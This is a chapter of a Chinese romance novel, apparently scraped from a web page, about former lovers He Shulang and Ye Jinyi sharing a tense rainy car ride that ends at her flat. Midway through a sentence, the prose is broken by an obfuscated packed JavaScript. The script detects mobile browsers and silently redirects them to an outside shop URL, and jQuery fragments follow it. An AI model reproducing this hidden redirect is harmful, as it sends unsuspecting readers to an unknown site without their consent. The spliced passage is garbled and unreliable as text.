贺舒朗开车习惯放音乐,出产业园遇到堵车,行驶中看到叶仅一,始终没来得及放歌。最初和她斗嘴,不觉有什么奇怪的地方,场面安静下来,那点特殊就出来了。
车内安静异常,雨刮器不停发出声音。
后视镜中叶仅一不时拿出手机,手指点点画画,好像有回不完的消息。偶尔,她也把视线移向窗外,扫过风景的朦胧。
贺舒朗咳嗽一声,车窗满是水汽,想这样逃避尴尬大可不必。
他就是不体面,不给人台阶。
叶仅一置若未闻,靠在座椅上,纵容自己放松。
“你那个跟班怎么不来接你?”她的冷漠呕得他难堪。
叶仅一睁开眼,素净的眉眼没情绪般:“不是有你在这儿吗?”
……
贺舒朗不知如何形容心中的跌宕起伏,像十八岁的愣头青,地狱天堂一线间。
他讨厌透了这样的油嘴滑舌,用近乎厌恶的眼神瞪她。
她却不露声色地回过去,一双眼睛迷雾蒙着,清清泠泠。
从前在一起时,贺舒朗极喜欢叶仅一这双眼睛,在其他事物上专注,面对他温柔缱绻,甚至不用做任何行动,只安静看着他,他都忍不住想亲她。
亲她之前,眼睛懵懂迷离,亲完之后,那双眼睛能滴出水来。
记忆中的她与此刻的她重合,不同的是现在两人隔着镜子,隔着三年的欺骗怨恨。
高峰路段堵车,贺舒朗打开驾驶座窗户,细雨溅到他身上,指间的香烟晦出一缕浓雾。
飘到后座,引发强烈的咳嗽。
叶仅一捂住鼻子,嗓子哑涩得难耐。
记忆中,贺舒朗并没有烟瘾,华松给他烟,他还贱嗖嗖地向她表功:“蝶儿,你不懂华松那出到底多可恶,居然逼着我吸烟,呛得我咳嗽了一节课。我警告了他,如果再这么做,我们全体都要孤立他。”
现在姿态的娴熟,同样不是装的。
没有谁会不变,叶仅一自嘲地想。手提包中还有感冒药,文得希买给她的,说是见她咳嗽不停。
叶仅一摇下旁边的窗户,半张脸伸出车外,手掐着喉咙,顿顿地发出咳嗽声。
前方的堵塞缓解了,车子慢吞吞往前挪,贺舒朗掐掉在燃的半支烟,眼睛无意识略过她。
她还靠在窗口,声音嘶哑得厉害。
一阵没由来的烦躁在贺舒朗心中烧起,灼得肺腑都要发酥。他打开四面窗户,寒风裹着细雨而来。
叶仅一正被风雨击个正中。
下一秒,文得希的电话打来,时间已过了上班点,想到不是公事,叶仅一接了电话。
“叶姐,结没结束?”
叶仅一知道他在提她谈的合约。
“外面雨下大了,地方那么偏,你好不好打车?”文得希停顿,“我没有别事要忙,叶姐,我接你吧。”
后视镜中贺舒朗的目光频频闪过,叶仅一的心像被虫子撕咬,痒得一阵阵的。
“我坐上车了。”不说打到车,不提朋友带她,只说坐上车。
“那好的,叶姐。”多少算个上司,文得希到底是羞怯的。
只是这正常新人对异性上司的“讨巧”,放在贺舒朗眼里,便是一场做作的卖弄。
下班时间操心老板做什么,老板是生是死,与他有何干系,咸吃萝卜淡操心。
驶离市区拥挤路段,贺舒朗开到快车道,速度快得飞起来,在后座的叶仅一被风挟着雨,衣衫二次遇劫,湿气寒意直直蹿进骨头。
她不由得打了个激灵。
“舒朗,可以关掉窗户吗?”叶仅一按上旁边的窗户。
重逢那么久,碰过几次面,这是她第一次喊他舒朗,没有别扭没有刻意,自然得仿佛他们真是朋友。
贺舒朗不轻不重地“嗯”了声。
叶仅一的眼睛盯着他背影,看他的疏远决绝。
她问的是所有窗户,他明明知道的,她示了弱,可他不放在心上。
叶仅一自嘲地扯扯嘴,多么简单的要求,偏偏要大费周章试探,向来直接冷静的她何至于这样拧巴。
“你是热吗?”叶仅一的好脾气仍在,“我有些冷,关掉两扇窗吧,留下你那一扇。”
贺舒朗不说话,放缓了车速,把四面窗户齐齐关上。
叶仅一常舒口气,正想找由头感谢他,他却转过身,冰冷地瞥过她,疏离得像经年的冰川。
可嘴角明明有顽劣的笑。
看不透他的心,也无力去想去猜,叶仅一疲惫地靠到车上,用身体的紧绷缓解沁入骨髓的寒。
冷透了。
她的身子不住颤抖,上下牙也在激烈地作战。
可她整个人却看不出脆弱,云淡风轻得像名胜古迹。
钟表转了一圈,窗外的景象越发熟悉,叶仅一支起身子,已过了半小时,两人毫无交流。
生疏得像普通司机和乘客。
贺舒朗最讨厌寡淡无趣的生活,他认为享受生命的每一时刻,才算不辜负自己。可现在呢,闷了一路气不说,高昂的乐曲在耳中略过,嘈杂得神经都在发颤。
真不知道找什么气受。
叶仅一躺在后座,惬意放松的模样,分明是把他当司机。
“往左手边转,还是前面路口转?”导航的地址看着偏远,贺舒朗凭直觉要绕近路。
叶仅一肤白如雪,忽闪的睫毛像蝴蝶,他的声音传来,电流般刺过大脑,缓缓睁开眼。
“这儿转还是前面?”
街区小巷的路灯昏暗,雨天太阳能严重不足,幽远得像掉入深山老林。贺舒朗不明白这样的旧街区有何可取之处,又脏又乱,如何保证出入安全呢,还是独身女性。
额间的神经又紧绷,他不该这样理所当然。
有小白脸愣头青,还有阴魂不散的华松,她身边何时少过人?
叶仅一的唇瓣移开,他默默注视,却没等来答话。
贺舒朗瞬间像被点燃的炮仗,炸开花来,不再等她回复,当即往左手边转,车速快得轮胎都在抗议。
叶仅一被猛地颠起,紧拢住的骨骼伶仃作响。
车子停在小区门口,叶仅一买素包子的地方,这几天逐渐和摊主的小女儿熟络,点过青椒茄子包、胡萝卜鸡蛋包和青菜包,很香很软的皮,馅料的咸淡也正好。
晚上小摊会卖馄饨和米粥,有天下班经过,小女孩眼巴巴盯她手中的郁金香。叶仅一将那束花送给了她,而她为她打了一碗米粥。
枣干酥酥脆脆,泡菜酸酸甜甜。叶仅一看到包好的油条准备推拒,女孩却强调,油条配泡菜,再和着米粥吃,特别香。
下雨天,女摊主没摆摊,叶仅一似乎没法介绍那个叫春灵的女孩。
不知怎么的,在贺舒朗面前,她有诉说生活琐碎的欲望,那么个十指不沾阳春水,混迹于名利场的人,竟是她倾诉烟火气的人选。
不知该悲哀,还是庆幸。
可没来得及缓过神,贺舒朗不耐烦的声音就响起:“到了,下车吧。”
像完成了某项任务,如释重负的口气。
叶仅一收起幻想,脑海中飘过的他可能说的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241876|197771||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,诸如“我以为你是孩子克星来者”“不错嘛,忘年交”,竟然只是她的自作多情。
他们做不成朋友。
朋友没有那么浓重的恨。
推开车门,叶仅一再无他言。
幸福是可以喋喋不休的,而痛苦却不必反复。宁愿世上多一个精神胜利的阿Q,也不愿多一个祥林嫂。
黑洞洞的小巷,雨声沉在水泥地,夜风的凉顺着她开门的刹那,钻进身体。
猛兽睁眼般,车灯齐齐亮起,叶仅一有明显的停顿。
灯下的细雨,犹如神明在奏的哀乐,以绝对的郑重,托尽极度的悲伤。
方向盘是打死的结,车子静止在原地。
雨下得不大,叶仅一没撑伞,伞握在手中,脚下的步子重如千钧,小腿像失灵般,平坦的水泥地,走成了凹陷的泥潭。
她步履蹒跚,一步一步走着,身子是歪的,腿脚像坡的。
偏偏每一步都走得坚定决绝,较着劲,不肯停留片刻。
寒风渗进脊背,贺舒朗的心被汪洋的恨充斥,视线都变得朦胧模糊,他不懂为何如此,但这幕足以刺痛他。
雨水流在眉骨,贺舒朗追上叶仅一,见她身子朝旁边斜,一个激灵拦腰抱起。
太快太乱,叶仅一根本反应不及。
贺舒朗身上的檀木沉香与尼古丁混着,叶仅一鼻间发痒,心脏不明就理,在慌乱跳动,而难言的酸意与愤恨,潮水般袭来。
她其实不太懂自己。
贺舒朗深有同感,抱起她的瞬间,大脑无比清醒,但行动过后心又是懵的。这种滋味太不好说,明明救助了人,却仍觉得痛。
痛得面目全非,呼吸都要艰难。
楼道门大开,走进电梯间,贺舒朗的手指停在按键处,低头的瞬间,叶仅一也在看他。
清冷冷一双眼有了烟火气,睫毛上载着轻薄雨滴。
“几楼?”
叶仅一胳膊在挣扎,要摆脱这个不太温暖的怀抱,声音里还是一如既往的平静:“四楼。”
“也不知道选个吉利的楼层。”他故意嗔怪,情绪来得莫名其妙。
“别看我,别说谢谢,我贱,我乐于助人。”一席话堵得叶仅一哑口无言。
几十秒的等待时间,漫长得仿佛一世纪,贺舒朗的手圈在叶仅一小腿,被他的热气烘烤着,禁锢住的冻血开始缓慢流动。
“坐下太久,腿脚都麻了。”被贺舒朗放下后,叶仅一第一时间解释,好像有了这番话,她的体面就还在。
贺舒朗狐疑地剜她一眼,像在看小孩编造拙劣谎言。
“呵,我的车舒适感不够,是吧?”
叶仅一憋了太久,再忍下去就算气球也会胀飞:“换车吧。”
“你说换我就换?”
“随你。”
贺舒朗不懂有些心肠的歹毒,更不懂有些人的恩将仇报:“那烦请叶小姐找个合适的人,让他按照你的需求换车。”
叶仅一站到门前,贴着门锁输密码:“这样的人能排到阿根廷,不牢贺先生费心。”
“为什么是阿根廷?”贺舒朗显然被带偏。
锁开了,叶仅一攥着门把手:“因为直线距离最远。”
贺舒朗上气不接下气地喘,疑似经历了体力劳动过度,看他丝毫没有动的意图,叶仅一揉揉眉毛,敛声屏气问他:“进来喝杯茶再走吧。”
仿佛锤子落地的声音,叶仅一面色如水,额头满是汗滴。
明明抱人的是贺舒朗,大汗淋漓的却是她。
贺舒朗深觉奇异。